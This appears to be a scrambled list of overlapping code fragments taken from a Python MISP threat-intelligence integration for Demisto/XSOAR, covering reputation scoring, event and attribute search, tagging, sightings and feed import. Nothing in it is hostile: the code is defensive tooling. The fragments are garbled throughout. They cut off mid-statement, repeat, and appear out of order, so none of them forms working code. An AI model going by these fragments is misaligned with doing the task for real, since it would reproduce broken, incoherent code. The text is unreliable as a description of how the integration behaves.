len(response_for_context)\",\n \"the given limit) and by sub-functions calculated the score of the indicator. For\",\n \"is_complex_search = False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search =\",\n \"= [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last',\",\n \"{ 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ]\",\n \"has not found in MISP: \\\\nError message: {response}') else: human_readable = f'Event {event_id}\",\n \"'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id)\",\n \"url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None\",\n \"suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids,\",\n \"requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index,\",\n \"'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if\",\n \"found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match\",\n \"suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting all the attributes which match the required indicator\",\n \"found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event:\",\n \"list includes all the events that were detected as related to the tag.\",\n \"event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for\",\n \"not post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this\",\n \"attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else:\",\n \"publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must\",\n \"attributes_limit): \\\"\\\"\\\" This function searches for the given attribute value in MISP and\",\n \"= attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\\\"## MISP add attribute\\\\nNew\",\n \"' 'Please try to use the Trust any certificate option.') if \\\"NewConnectionError\\\" in\",\n \"= new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP\",\n \"appears in both Malicious tag ids and Suspicious tag ids lists the indicator\",\n \"demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator\",\n \"tags. If so, the event will be added to related_events list Args: object_data_dict\",\n \"of in unnecessary data, we want to limit this list to include only\",\n \"the malicious one (as a tag that was configured to be malicious is\",\n \"'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen',\",\n \"the context data outputs, for every attribute we remove the \\\"Related Attribute\\\" list\",\n \"MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values from Demisto to\",\n \"= argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [\",\n \"UUID and tag exist.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag\",\n \"'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \\\"\\\"\\\" Extracting errors raised\",\n \"suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif\",\n \"Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def\",\n \"generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results =\",\n \"Event or attribute dict which includes tags list. found_tag (str): The tag that\",\n \"original input will be returned Returns: str: dictionary created for misp to perform\",\n \"} DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [\",\n \"} def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag list can be full of in\",\n \"event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name))\",\n \"response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list =\",\n \"[{k: v} for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) ->\",\n \"== found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name':\",\n \"that found (after limit the attributes amount to the given limit) and by\",\n \"the context Returns: CommandResults includes all the indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response\",\n \"\\\"\\\"\\\" Converts args dict into a list, please see GenericObjectGenerator Class in Pymisp.\",\n \"sure the API key and the URL are correct\\\" in error: return_error('Unable to\",\n \"event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for\",\n \"}) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute a MISP search over\",\n \"ID and Name fields. In addition, returns set of the found tag ids.\",\n \"\\\"\\\"\\\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit =\",\n \"str: dictionary created for misp to perform complex query or if no complex\",\n \"values from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type')\",\n \"== 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings')\",\n \"'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\")\",\n \"Converts args dict into a list, please see GenericObjectGenerator Class in Pymisp. Args:\",\n \"def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\", \\\"\\\" for event in events_to_human_readable:\",\n \"list: list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain':\",\n \"event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes',\",\n \"Calculates the indicator score by following logic. Indicators of attributes and Events that:\",\n \"been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response),\",\n \"MISP because of a NewConnectionError, ' 'Please make sure your MISP server url\",\n \"verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index, uri\",\n \"a given MISP event object This function can be called as an independence\",\n \"'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object':\",\n \"to given UUID of event or attribute. is_attribute (bool): if the given UUID\",\n \"arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]})\",\n \"number of attributes that will be written to the context Returns: CommandResults includes\",\n \"object Returns: list: list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip':\",\n \"= copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list,\",\n \"'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted',\",\n \"value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes,\",\n \"all the tags are valid positive integers.\\\"\\\"\\\" for tag in tag_ids: try: tag\",\n \"will be a list of attributes along with their events objects. Note: When\",\n \"'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium':\",\n \"= misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event in\",\n \"\\\"2\\\", \\\"3\\\"] for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return\",\n \"human readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict,\",\n \"called as an independence command or as part of another command (create event\",\n \"to the context Returns: CommandResults includes all the indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type)\",\n \"generic object Returns: GenericObjectGenerator: object created in MISP Example: args should look like:\",\n \"the indicator. For the context data outputs, for every attribute we remove the\",\n \") def add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict =\",\n \"== 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args))\",\n \"'google.com'}] \\\"\\\"\\\" return [{k: v} for k, v in args.items()] def build_generic_object(template_name: str,\",\n \"in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\" Converts args dict into a\",\n \"as the information is too big. User can use the command search-attributes in\",\n \"is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key] =\",\n \"in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for\",\n \"in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR'\",\n \"Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids\",\n \"response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object has\",\n \"to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line\",\n \"required tag was failed. Please make sure the UUID and tag exist.\\\") if\",\n \"def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to MISP attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid\",\n \"suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets which include tag ids. If there is an\",\n \"first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args:\",\n \"command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command\",\n \"json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i in range(0, len(events)):\",\n \"CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids,\",\n \"example for a parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list =\",\n \"add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires\",\n \"goes over all the attributes that found (after limit the attributes amount to\",\n \"tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')})\",\n \"return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value\",\n \"can use the command search-attributes in order to get the information about the\",\n \"ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')})\",\n \"dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score)\",\n \"galaxies lists. Eventually, the outputs will be a list of attributes along with\",\n \"None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of\",\n \"sure the UUID and tag exist.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable\",\n \"ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute,\",\n \"suspicious nor malicious will be scored by their event's threat level id. In\",\n \"attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid')\",\n \"in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By\",\n \"# add the tag except PyMISPError: raise DemistoException(\\\"Adding the required tag was failed.\",\n \"or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a\",\n \"if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else\",\n \"DemistoException(\\\"Adding the required tag was failed. Please make sure the UUID exists.\\\") if\",\n \"f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context,\",\n \"should be found. Returns: list includes all the events that were detected as\",\n \"scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in\",\n \"Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids'\",\n \"\\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) ->\",\n \"def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an event id and deletes it. \\\"\\\"\\\" event_id\",\n \"found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable =\",\n \"\\\"\\\"\\\" Create a new MISP event object and set the event's details. \\\"\\\"\\\"\",\n \"By the given object we go over all the tags and search if\",\n \"'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations')\",\n \"in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets\",\n \"for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None)\",\n \"build_events_search_response(response: Union[dict, requests.Response]) -> dict: \\\"\\\"\\\" Convert the response of event search returned\",\n \"for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in\",\n \"'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object',\",\n \"add to tag_set_ids all the tags (event ones and the event's attribute tags\",\n \"[]) if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies =\",\n \"in response_object] for i in range(0, len(events)): # Filter object from keys in\",\n \"prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1),\",\n \"Function will add tag to given UUID of event or attribute. is_attribute (bool):\",\n \"raise DemistoException(f\\\"Tag id has to be a positive integer, please change the given:\",\n \"search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\" Execute a MISP search using the 'event' controller.\",\n \"V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids)\",\n \"elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as\",\n \"Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1,\",\n \"'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to')\",\n \"if the threat level id is in [1,2,3]. Otherwise, the threat level is\",\n \"number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event =\",\n \"get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag,\",\n \"of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',\",\n \"} for event_object in event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or event,\",\n \"in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if\",\n \"dict, is_attribute=False): \\\"\\\"\\\" Function will remove tag to given UUID of event or\",\n \"attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value\",\n \"MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject\",\n \"\\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable\",\n \"add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes =\",\n \"key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes\",\n \"return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response =\",\n \"tags which configured as suspicious will be scored 2 (i.e suspicious). * don't\",\n \"= replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params =\",\n \"raise DemistoException(f\\\"Error: The given email address: {value} is not valid\\\") def get_indicator_results(value, dbot_type,\",\n \"= build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if\",\n \"\\\"\\\"\\\" By the given object we go over all the tags and search\",\n \"if response.get('message'): raise DemistoException(f\\\"An error was occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable = f'Sighting\",\n \"value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function searches for all the events\",\n \"\\\"\\\"\\\" Function will add tag to given UUID of event or attribute. is_attribute\",\n \"response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\\\"An error was occurred: {response.get('message')}\\\") elif\",\n \"attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'),\",\n \"an example for a response in test_data/reputation_command_response.json Please see an example for a\",\n \"object_data_dict (dict): Event or attribute dict which includes tags list. found_tag (str): The\",\n \"{len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" )\",\n \"is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results(\",\n \"context data outputs, for every attribute we remove the \\\"Related Attribute\\\" list and\",\n \"'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute\",\n \"ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets an OSINT\",\n \"not valid\\\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The\",\n \"then calculates it's dbot score. The score is calculated by the tags ids\",\n \"Args: error: list of responses from error section Returns: List[Dict[str, any]]: filtered response\",\n \"error: return_error('Unable to connect to MISP because of a NewConnectionError, ' 'Please make\",\n \"True\\\"\\\"\\\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for\",\n \"UUID exists.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has\",\n \"attribute's (is_event_level = false), and the tag is only related to an attribute\",\n \"e: raise DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}') def\",\n \"f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\"\",\n \"def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID')\",\n \"None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None\",\n \"'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id':\",\n \"url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id\",\n \"search-events output as the information is too big. User can use the command\",\n \"for attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag,\",\n \"malicious). * have tags which configured as suspicious will be scored 2 (i.e\",\n \"= demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value =\",\n \"DemistoException(f\\\"Error: The given domain: {value} is not valid\\\") if dbot_type == 'URL': if\",\n \"obj: MISPObject): \\\"\\\"\\\"Sending object to MISP and returning outputs Args: obj: object to\",\n \"outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is not a valid\",\n \"{tag} has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',\",\n \"response: raise DemistoException( f\\\"Error: An event with the given id: {event_id} was not\",\n \"deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will add tag\",\n \"PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp'))\",\n \"file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds\",\n \"'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id':\",\n \"= demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args = json.loads(attributes)\",\n \"Union[dict, list, str]) -> Union[dict, list, str]: \\\"\\\"\\\" Replacing keys from MISP's format\",\n \"sha256=value) if dbot_type == \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\": return\",\n \"related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By the given object we\",\n \"* have tags which configured as malicious will be scored 3 (i.e malicious).\",\n \"level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def\",\n \") def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',')\",\n \"return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed')\",\n \"{}, new_event: MISPEvent = None): \\\"\\\"\\\"Adding attribute to a given MISP event object\",\n \"hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type ==\",\n \"'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given email address: {value} is\",\n \"(1546713469) and converts it to human readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp\",\n \"to connect to MISP, ' 'Please make sure the API key is correct.')\",\n \"f\\\"## MISP add attribute\\\\nNew attribute: {value} was added to event id {new_event.id}.\\\\n\\\" return\",\n \"MISP, ' 'Please make sure the API key is correct.') return_error(error) def warn(*args):\",\n \"if dbot_type == 'FILE': # hashFormat will be used only in output hash_format\",\n \"'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute a\",\n \"indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights\",\n \"error was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids)\",\n \"convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] =\",\n \"= args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format:\",\n \"if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The given domain:\",\n \"event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if\",\n \"'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if\",\n \"or as part of another command (create event for example) Args: event_id (int):\",\n \"= json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') 